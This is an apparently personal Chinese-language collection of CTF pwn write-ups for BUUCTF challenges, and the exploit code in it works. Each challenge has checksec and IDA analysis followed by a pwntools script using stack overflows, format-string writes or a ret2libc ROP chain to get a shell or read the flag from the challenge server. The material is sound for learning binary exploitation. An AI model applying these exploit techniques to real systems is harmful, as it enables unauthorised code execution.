test_your_nc 1

1. checkesc ,检测文件的保护机制.

1
2
进入pwn环境,我的pwn环境在py3.12.7的虚拟环境里
checksec test https://blog.csdn.net/weixin_42072280/article/details/90229294

image-20241202131845937

1
2
3
4
5
6
7
8
1.Relro:Full Relro(重定位表只读)
  Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。
2.Stack:No Canary found(能栈溢出)
  Canary, 金丝雀。金丝雀原来是石油工人用来判断气体是否有毒。而应用于在栈保护上则是在初始化一个栈帧时在栈底(stack overflow 发生的高位区域的尾部)设置一个随机的 canary 值,当函数返回之时检测 canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生,若改变则说明栈溢出发生,程序走另一个流程结束,以免漏洞利用成功。 因此我们需要获取 Canary 的值,或者防止触发 stack_chk_fail 函数,或是利用此函数。
3.NX: NX enable(不可执行内存)
  Non-Executable Memory,不可执行内存。了解 Linux 的都知道其文件有三种属性,即 rwx,而 NX 即没有 x 属性。如果没有 w 属性,我们就不能向内存单元中写入数据,如果没有 x 属性,写入的 shellcode 就无法执行。所以,我们此时应该使用其他方法来 pwn 掉程序,其中最常见的方法为 ROP (Return-Oriented Programming 返回导向编程),利用栈溢出在栈上布置地址,每个内存地址对应一个 gadget,利用 ret 等指令进行衔接来执行某项功能,最终达到 pwn 掉程序的目的。
4.PIE: PIE enable(开启ASLR 地址随机化)
  Address space layout randomization,地址空间布局随机化。通过将数据随机放置来防止攻击。

2.静态分析,用IDA打开文件

1
按下shift+f12,打开string window

image-20241202132215247

1
双击/bin/sh, 点击command,然后键盘按一下X,发现/bin/sh的address在main

image-20241202133049093image-20241202133119257

1
双击进去,然后按F5,就能看代码了

image-20241202133631231

1
那我们直接nc连接一下  nc node5.buuoj.cn 25353

image-20241202134120251

2.rip1

1. checkesc ,检测文件的保护机制.

image-20241202161352621

1
意思说没有任何保护,程序是64位的,直接拿出IDA
1
这道题跟上面第一个题一样,做题一模一样  

image-20241202162559650

1
2
3
诶我去,还不太一样,连接上之后发现输入内容会直接端口,再拿出IDA看看
输入的字符串传给s,用puts输出出来,然后return 0

image-20241203092509981

1
查到的/bin/sh是在fun函数里  通过栈溢出把返回地址改成这个fun函数的地址就行了(0x401186

image-20241203092627934

image-20241203093107503

1
2
3
算偏移量
看地址算偏移量
点进去main函数里的输入字符串s,看到一共15个字节,就是s能传15个字符。双击s进去再看看发现2个s之间有15个db

image-20241203113802181

1
因此再回来看fun()函数,就是一个系统调用,故payload=‘a’ * 15 + p64(0x401186)

image-20241203114111212

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
payload


from pwn import *

#p = process('./pwn1')
p = remote('node5.buuoj.cn', 27430)
#elf =ELF("pwn1")
#fun_addr=elf.symbols['fun']
#buf_1= b'a' * 15 + p64(fun_addr)

#p.recvuntil("please input") #这道题不知道为啥recvuntil报连接超时。。

#buf_1 = b'a' * (0xf + 0x8) + p64(0x401198) + p64(0x401186) #也可以,是网上wp的修改

buf_1 = b'a' * 15 + p64(0x401186)
# gdb.attach(p)


p.sendline(buf_1)

p.interactive()

3.warmup_csaw_20161

1. checkesc ,检测文件的保护机制.

image-20241203132339938

1
2
没有保护
直接IDA看,看到了cat flag,函数是sub_40060D() 如果我们能栈溢出到这里就ok了

image-20241203132526517

image-20241203132818066

1
我们点击main函数中gets存放输入数据的变量 s[64]

image-20241203133410671

1
一共40位

image-20241203133455546

1
2
这里s-r8位存的是rbp地址。r就是存返回地址并进行返回。
v5大小为0x40,s到r0x8,也就是我们需要注入(0x40 + 0x8)字节的数据,并在最后输入地址运行我们想要运行的函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
exp
from pwn import *

#p = process('./pwn1')
p = remote('node5.buuoj.cn', 28884)
#elf =ELF("pwn1")
#fun_addr=elf.symbols['fun']

sub_40060D=0x40060D
payload = b'a' * (0x40 + 0x8) + p64(sub_40060D)
# gdb.attach(p)


p.sendline(payload)

p.interactive()

image-20241203134027015

4.ciscn_2019_n_1

1
1. checkesc ,检测文件的保护机制.  发现有NX  NX enable(不可执行内存)。但是对我们做题影响不大,依然是栈溢出,拿出IDA

image-20241204075810767

image-20241204075941330

1
这就是程序思路,我们发现v1v2处于同一个栈

image-20241204080225229

image-20241204080235689

1
v1的地址信息包含了v2,那么只要输入长字符,然后溢出更改v2的值就好了.v1的首地址和v2的首地址相差44位,发生44个a然后再发送11.2812516进制数0x41348000
1
payload=b"a"*44 +p64(0x41348000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

#p = process('./pwn1')
p = remote('node5.buuoj.cn', 29899)
#elf =ELF("pwn1")
#fun_addr=elf.symbols['fun']

payload=b"a"*44 +p64(0x41348000)
# gdb.attach(p)


p.sendline(payload)

p.interactive()

5.pwn1_sctf_2016

1
1. checkesc ,检测文件的保护机制.,发现是32位的,用32位的ida打开

image-20241204083726079

1
main函数就调用了一个函数vuln函数

image-20241204090249519

1
2
3
注意看这个fgets函数,最高接受32个字节.另外我们发现get_flag函数  s距离栈底是0x3c也就是60个字节.这根本溢不过去
看上面的代码 程序把用户输入的I换成you。那就是说会自动帮我们把1字节变3字节,我们可以利用填充I来让程序自动填充到返回地址前。s距离ebp0x3c也就是60个字节,那么我们填充20I再加4个字节填充接着拼接我们的后门地址。
payload=b'I'*20+b'A'*4 + p32(get_flag_addr)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

#p = process('./pwn1')
p = remote('node5.buuoj.cn', 27173)
elf = ELF("./pwn1_sctf_2016")
get_flag_addr = elf.symbols["get_flag"]
#print (get_flag_addr)
payload=b'I'*20+b'A'*4 + p32(get_flag_addr)
# gdb.attach(p)


p.sendline(payload)

p.interactive()

6.jarvisoj_level0

1
1. checkesc ,检测文件的保护机制.

image-20241204093336754

1
2
3
没有保护,拖入IDA64
找到callsystem函数 callsystem_addr = elf.symbols["callsystem"]这样就不需要用IDA苦苦去找了
然后发现了main函数,返回一个vulnerable_function函数,中文名就是有漏洞的函数hhhhh,进去看看

image-20241204093544941

1
2
3
4
双击进来,发现read
是一个危险函数,第一个参数是0说明是写东西(这里就是往buf里写东西)第三个参数是写的字节数是0x200,buf距离栈底才0x80个字节但要往里写0x200个字节,妥妥的栈溢出。
那就是0x80+0x8个字节的垃圾数据(不知道说过没,没说就补充一下,说了的话大家就假装没看见。64位的ebp是8个字节,32位的ebp是4个字节)
payload = b'A'*(0x80+0x8)+p64(callsystem_addr)

image-20241204093718815

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

#p = process('./pwn1')
p = remote('node5.buuoj.cn', 27865)
elf = ELF("./level0")
callsystem_addr = elf.symbols["callsystem"]
#print (get_flag_addr)
payload = b'A'*(0x80+0x8)+p64(callsystem_addr)
# gdb.attach(p)


p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()

[第五空间2019 决赛]PWN5

1
1. checkesc ,检测文件的保护机制.  发现有NX  NX enable(不可执行内存)。但是对我们做题影响不大,依然是栈溢出,拿出IDA

image-20241204221340037

image-20241204221740708

1
2
3
找到权限函数,现在就看怎么用才能溢出
大体意思是从文件中读取4个字节的数据到unk_804C044变量中,作为用户名name,之后输出提示信息"your passwd:",再输入密码,并与unk_804C044进行比较,如果两者相等,执行system("/bin/sh")命令,进入system函数
利用格式化字符串漏洞,我们在终端上运行该函数,输入./pwn,回车,为确定格式化字符串与实际运行的函数的距离(即偏移量)再输入AAAA.%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,显示如下图,因为A为字符数据,%x为格式化输出十六进制的数据,转化为A的ASCⅡ代码是65,十六进制下为0x41,四个A即为0x41414141,数一下离我们输入的AAAA有十个数据,则说明偏移量是10

image-20241204222640546

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

#p = process('./pwn1')
p = remote('node5.buuoj.cn', 28471)
#elf =ELF("pwn1")
#fun_addr=elf.symbols['fun']

payload=p32(0x804C044)+b'%10$n'
# gdb.attach(p)

p.recvuntil(':')
p.sendline(payload)
p.recvuntil(':')
p.sendline(str(4))
p.sendline(b'cat flag')
p.interactive()


开始难起来了,哎~

jarvisoj_level2

1
1. checkesc ,检测文件的保护机制.  发现有NX  NX enable(不可执行内存)。但是对我们做题影响不大,依然是栈溢出,拿出IDA

image-20241204231304973

image-20241204231527415

image-20241204232226930

1
这跟上面有个题有些像,read,距离ebp88h大小,双击buf,找到r代表的read函数本身覆盖大小,是4h

image-20241204232243263

1
返回主函数,双击system,得到下方界面的地址0x8048320。作为覆盖的第一个地址。

image-20241204232422674

1
payload=b'a'*(0x88+0x4)+p32(0x8048320)+p32(1)+p32(0x804A024)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#p = process('./pwn1')
p = remote('node5.buuoj.cn', 29104)
#elf =ELF("pwn1")
#fun_addr=elf.symbols['fun']

payload=b'a'*(0x88+0x4)+p32(0x8048320)+p32(1)+p32(0x804A024)
# gdb.attach(p)

#p.recvuntil(':')
p.sendline(payload)
#p.recvuntil(':')
#p.sendline(str(4))
p.sendline(b'cat flag')
p.interactive()

ciscn_2019_n_8

1
1. checkesc ,检测文件的保护机制.  emmmm,都开了,拿出ida看看吧

image-20241204232905256

1
这里有溢出条件了

image-20241204233024909

1
2
把代码放ai里看看是什么意思
可以看出利用的是格式化字符串的漏洞,需要我们修改var地址往下数第十四个,类似是数组的结构到var[13]为17,并且为LL就是long long int八个字节,,相当于64位的数据'\x11\x00\x00\x00\x00\x00\x00\x00'。
1
payload=b'aaaa'*13+p64(17)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#p = process('./pwn1')
p = remote('node5.buuoj.cn', 27769)
#elf =ELF("pwn1")
#fun_addr=elf.symbols['fun']

payload=b'aaaa'*13+p64(17)
# gdb.attach(p)

#p.recvuntil(':')
p.sendline(payload)
#p.recvuntil(':')
#p.sendline(str(4))
p.sendline(b'cat flag')
p.interactive()

bjdctf_2020_babystack

1
1. checkesc ,检测文件的保护机制.  发现有NX  NX enable(不可执行内存)。但是对我们做题影响不大,依然是栈溢出,拿出IDA

image-20241204233457576

1
发现后门函数

image-20241204233747818

1
2
看了主函数
scanf会读入一个用户输入的数赋值给nbytes ,然后read会读取nbytes大小的字符,也就是说我们可以任意溢出长度
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

#p = process("./bjdctf_2020_babystack")
p = remote("node5.buuoj.cn",27291)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561

print(backdoor)

p.sendlineafter(b"Please input the length of your name:","100")


payload = b"a"*16 + b"b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])

p.sendlineafter("What's u name?",payload)
p.sendline(b'cat flag')
p.interactive()

ciscn_2019_c_1

1
1. checkesc ,检测文件的保护机制.  发现有NX  NX enable(不可执行内存)。但是对我们做题影响不大,依然是栈溢出,拿出IDA

image-20241204234722246

1
2
3
程序就是加解密的,没有发现callsystem后门函数,开了NX需要自己构造ROP链
基本思路:encrypt()里面的get()可以溢出,栈大小为50h-offest=0x50+8。puts()可以用来泄露libc基址。
通过Ropgadget找到pop_rdi_rdi地址:0x400c83

image-20241205000636934

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
这里选0
from pwn import*
from LibcSearcher import *
p=remote("node5.buuoj.cn",29875)
elf=ELF("./ciscn_2019_c_1")
ret=0x400c83
plt=elf.plt['puts']
got=elf.got['puts']
main_addr=0x400B28
p.recv()
p.sendline("1")
p.recvuntil("encrypted\n")
payload=flat("a"*0x58)+p64(ret)+p64(got)+p64(plt)+p64(main_addr)
p.sendline(payload)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
addr=u64(p.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
print(libcbase)

p.recv()
p.sendline(b"1")
p.recvuntil(b"encrypted\n")
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
res=0x4006b9
payload2=b"a"*0x58+p64(res)+p64(ret)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload2)
p.sendline(b'cat flag')
p.interactive()


真难

get_started_3dsctf_2016

1
2
不会了,直接放大佬blog:https://www.cnblogs.com/lyxf/p/12113401.html
1. checkesc ,检测文件的保护机制. 可以栈溢出,地址写死了。 拿出IDA

image-20241205144645475

image-20241205145201010

1
2
3
4
5
6
7
函数是get_flag
4个注意点
1.打远程的时候他将会判断参数是否合规,因此我们要构造get_flag的参数的正确性。
2.这题在main函数开始的时候没有压入ebp,因此计算溢出位置不用覆盖ebp。也就是说以前的old_ebp的位置变成了现在的返回地址。
3.不需要interactive去交互,需要用recv去接收flag。(一开始没搞明白程序卡在这)
4.构造垃圾数据不用b‘a',打不通。直接'a'就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

from pwn import *

p=remote('node5.buuoj.cn',28424)
#p=process('./get_started_3dsctf_2016')
context.log_level = 'debug'

get_flag=0x80489A0
arg_1=0x308CD64F
arg_2=0x195719D1
exit=0x0804E6A0

payload=b'a'*0x38+p32(get_flag)+p32(exit)+p32(arg_1)+p32(arg_2)
p.sendline(payload)
p.recv()